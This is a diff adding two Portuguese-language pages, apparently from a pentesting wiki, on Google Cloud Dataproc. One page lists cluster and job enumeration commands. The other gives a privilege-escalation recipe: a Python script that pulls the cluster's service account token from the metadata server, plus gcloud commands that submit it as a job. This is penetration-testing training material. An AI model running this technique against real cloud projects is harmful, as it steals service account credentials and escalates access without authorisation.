Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md

@@ -0,0 +1,54 @@
+# GCP Dataproc Privilege Escalation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataproc
+
+{{#ref}}
+../gcp-services/gcp-dataproc-enum.md
+{{#endref}}
+
+### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
+
+Não consegui obter um shell reverso usando este método, no entanto, é possível vazar o token SA do endpoint de metadados usando o método descrito abaixo.
+
+#### Steps to exploit
+
+- Coloque o script do trabalho no GCP Bucket
+
+- Envie um trabalho para um cluster Dataproc.
+
+- Use o trabalho para acessar o servidor de metadados.
+
+- Vaze o token da conta de serviço usado pelo cluster.
+```python
+import requests
+
+metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
+headers = {"Metadata-Flavor": "Google"}
+
+def fetch_metadata_token():
+try:
+response = requests.get(metadata_url, headers=headers, timeout=5)
+response.raise_for_status()
+token = response.json().get("access_token", "")
+print(f"Leaked Token: {token}")
+return token
+except Exception as e:
+print(f"Error fetching metadata token: {e}")
+return None
+
+if __name__ == "__main__":
+fetch_metadata_token()
+```
+
+```bash
+# Copy the script to the storage bucket
+gsutil cp <python-script> gs://<bucket-name>/<python-script>
+
+# Submit the malicious job
+gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
+--cluster=<cluster-name> \
+--region=<region>
+```
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md

@@ -0,0 +1,43 @@
+# GCP - Dataproc Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Informações Básicas
+
+Google Cloud Dataproc é um serviço totalmente gerenciado para executar Apache Spark, Apache Hadoop, Apache Flink e outras estruturas de big data. É utilizado principalmente para processamento de dados, consultas, aprendizado de máquina e análises de fluxo. Dataproc permite que as organizações criem clusters para computação distribuída com facilidade, integrando-se perfeitamente com outros serviços do Google Cloud Platform (GCP), como Cloud Storage, BigQuery e Cloud Monitoring.
+
+Os clusters Dataproc são executados em máquinas virtuais (VMs), e a conta de serviço associada a essas VMs determina as permissões e o nível de acesso do cluster.
+
+## Componentes
+
+Um cluster Dataproc normalmente inclui:
+
+Master Node: Gerencia os recursos do cluster e coordena tarefas distribuídas.
+
+Worker Nodes: Executam tarefas distribuídas.
+
+Service Accounts: Gerenciam chamadas de API e acessam outros serviços do GCP.
+
+## Enumeração
+
+Clusters, jobs e configurações do Dataproc podem ser enumerados para coletar informações sensíveis, como contas de serviço, permissões e possíveis configurações incorretas.
+
+### Enumeração de Clusters
+
+Para enumerar clusters Dataproc e recuperar seus detalhes:
+```
+gcloud dataproc clusters list --region=<region>
+gcloud dataproc clusters describe <cluster-name> --region=<region>
+```
+### Enumeração de Trabalho
+```
+gcloud dataproc jobs list --region=<region>
+gcloud dataproc jobs describe <job-id> --region=<region>
+```
+### Privesc
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-dataproc-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}